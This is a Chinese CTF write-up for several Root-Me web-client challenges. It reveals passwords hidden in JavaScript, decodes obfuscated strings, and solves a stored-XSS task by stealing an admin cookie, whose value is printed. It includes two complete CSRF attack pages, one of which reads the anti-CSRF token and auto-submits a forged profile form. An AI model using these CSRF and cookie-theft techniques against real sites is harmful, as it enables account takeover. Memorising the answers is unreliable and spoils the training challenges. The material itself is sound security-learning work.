打开网页发现按钮不能按,查看源代码,有 'disabled' ,按F12进行元素修改,去掉 'disabled'然后提交即可
查看源码,在js里面可以找到密码
这个也是提交答案的密码
Ctrl+U 在源码里可找到密码
分析这段js即可,很简单就是将 'GOD:HIDDEN'用 ":"进行分割,GOD作为用户名,HIDDEN作为密码,所以最后提交HIDDEN即可
function connexion(){
var username = prompt("Username :", "");
var password = prompt("Password :", "");
var TheLists = ["GOD:HIDDEN"];
for (i = 0; i < TheLists.length; i++)
{
if (TheLists[i].indexOf(username) == 0)
{
var TheSplit = TheLists[i].split(":");
var TheUsername = TheSplit[0];
var ThePassword = TheSplit[1];
if (username == TheUsername && password == ThePassword)
{
alert("Vous pouvez utiliser ce mot de passe pour valider ce challenge (en majuscules) / You can use this password to validate this challenge (uppercase)");
}
}
else
{
alert("Nope, you're a naughty hacker.")
}
}
}
查看源代码,发现密码,进行urldecode解码即可
源码:var pass = unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");
两次urldecode,然后在控制台运行 document.write(String.fromCharCode(104,68,117,102,106,100,107,105,49,53,54))
即可得到密码
查看源码可以看到一段js变形的代码,这里需要用到firefox的一个deobfuscator插件。
成功添加之后,在firefox菜单的开发者选项之中可以看到一个"javascript反混淆器",点击打开,即可分析。
看源码,分析之后有这一串十六进制
\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
转回字符之后是 55,56,54,79,115,69,114,116,107,49,50
,控制台里运行document.write(String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50))
即可得到密码
无过滤,最简单的储存型xss,贴入某个xss平台的payload即可。
答案:cookie : ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6
注册,登录之后有一个提交信息的地方。
让我们在message填入我们xss平台的payload验证漏洞。果然存在漏洞。
接下来就是构造恶意页面,先分析profile页面。
所以我们提交的参数值有username,status两个。最后构造的恶意页面如下,放在自己服务器上。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF</title>
</head>
<body>
<form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="deen" />
<input type="hidden" name="status" value="on" />
</form>
<script> document.csrf.submit()</script>
</body>
</html>
再message提交,
没有成功,是哪里出错了吗?求解。
有大佬会吗,求教…
<!DOCTYPE html>
<html>
<head>
<title>csrf</title>
</head>
<body onload="get()">
<form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="deen"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="forged-token" name="token" value=""/>
<input type="submit" value="go"/>
</form>
<script>
var x = new XMLHttpRequest();
function get() {
x.open("GET","?action=profile",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("forged-token").value = token;
document.getElementById("form-payload").submit();
}
}
</script>
</body>
</html>
源代码如下:
var ð = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47";
function _(x, y) {
return x ^ y;
}
function __(y) {
var z = 0;
for (var i = 0; i < y; i++) {
z += Math.pow(2, i);
}
return z;
}
function ___(y) {
var z = 0;
for (var i = 8 - y; i < 8; i++) {
z += Math.pow(2, i);
}
return z
}
function ____(x, y) {
y = y % 8;
Ï = __(y);
Ï = (x & Ï) << (8 - y);
return (Ï) + (x >> y);
}
function _____(x, y) {
y = y % 8;
Ï = ___(y);
Ï = (x & Ï) >> (8 - y);
return ((Ï) + (x << y)) & 0x00ff;
}
function ______(x, y) {
return _____(x, y)
}
function _______(_________, key) {
________ = "";
________2 = "";
for (var i = 0; i < _________.length; i++) {
c = _________.charCodeAt(i);
if (i != 0) {
t = ________.charCodeAt(i - 1) % 2;
switch (t) {
case 0:
cr = _(c, key.charCodeAt(i % key.length));
break;
case 1:
cr = ______(c, key.charCodeAt(i % key.length));
break;
}
} else {
cr = _(c, key.charCodeAt(i % key.length));
}
________ += String.fromCharCode(cr);
}
return ________;
}
function __________(þ) {
var ŋ = 0;
for (var i = 0; i < þ.length; i++) {
ŋ += þ["charCodeAt"](i)
}
if (ŋ == 8932) {
var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30");
ç.document.write(þ)
} else {
alert("Mauvais mot de passe!")
}
}
__________(_______(ð, prompt("Mot de passe?")));
这代码看得我真蛋疼…美化修改相关变量和函数名之后的代码如下:
var text = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47";
function a(x, y) {
return x ^ y;
}
function b(y) {
var z = 0;
for (var i = 0; i < y; i++) {
z += Math.pow(2, i);
}
return z;
}
function C(y) {
var z = 0;
for (var i = 8 - y; i < 8; i++) {
z += Math.pow(2, i);
}
return z
}
function d(x, y) {
y = y % 8;
n = b(y);
n = (x & n) << (8 - y);
return (n) + (x >> y);
}
function e(x, y) {
y = y % 8;
n = C(y);
n = (x & n) >> (8 - y);
return ((n) + (x << y)) & 0x00ff;
}
function f(x, y) {
return e(x, y)
}
function g(x, key) {
y = "";
z = "";
for (var i = 0; i < x.length; i++) {
c = x.charCodeAt(i);
if (i != 0) {
t = y.charCodeAt(i - 1) % 2;
switch (t) {
case 0:
cr = a(c, key.charCodeAt(i % key.length));
break;
case 1:
cr = f(c, key.charCodeAt(i % key.length));
break;
}
} else {
cr = a(c, key.charCodeAt(i % key.length));
}
y += String.fromCharCode(cr);
}
return y;
}
function m(pass) {
var ŋ = 0;
for (var i = 0; i < pass.length; i++) {
ŋ += pass["charCodeAt"](i)
}
if (ŋ == 8932) {
var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30");
ç.document.write(pass)
} else {
alert("Mauvais mot de passe!")
}
}
m(g(text, prompt("Mot de passe?")));
分析:
m函数是对密码pass进行验证,密码正确的条件是pass所有字符的ascii值加起来为8932
关键在于g函数,g函数是对输入处理的核心函数。g函数有两个参数,一个已知,一个需要我们输入,返回值y就是我们要的密码。
存储型xss,目标还是盗用管理员cookie,应该是有过滤的,先找输出点,然后fuzz
首先测试尖括号<>,发现被实体化了
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